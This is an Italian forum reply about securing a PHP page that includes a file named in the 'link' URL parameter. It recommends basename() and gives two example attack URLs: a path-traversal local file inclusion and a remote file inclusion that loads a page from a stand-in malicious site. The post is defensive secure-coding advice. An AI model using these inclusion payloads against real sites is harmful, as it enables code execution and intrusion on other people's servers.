perchè se non metti basename, puoi subire 2 attacchi diversi:
1. Da un sito che sta in hosting nel tuo stesso server (che magari non è configurato in modo da restringere la lettura/scrittura di files che non sono nella sua doc root), e quindi riesce a richiamare un file php chiamando la tua pagina con:
codice:
nomesito/index.php?link=../../mia_doc_root/paginamaligna.php
2. Puoi subire un include di un'altro sito
codice:
nomesito/index.php?link=http://www.sitomaligno/paginamaligna.php
la quale magari contiene del codice javascript che può creare danni.
basename restituisce solo il nome del file ripulendolo da eventuali percorsi sul server o riferimento a diversi host.
Per quanto riguarda il tuo errore, prova :
1. A usare basename($_GET['link']) al posto di basename($link);
2. Apri i tag php con "<?php" e non con "<?"
Al momento non mi viene in mente altro.
ciao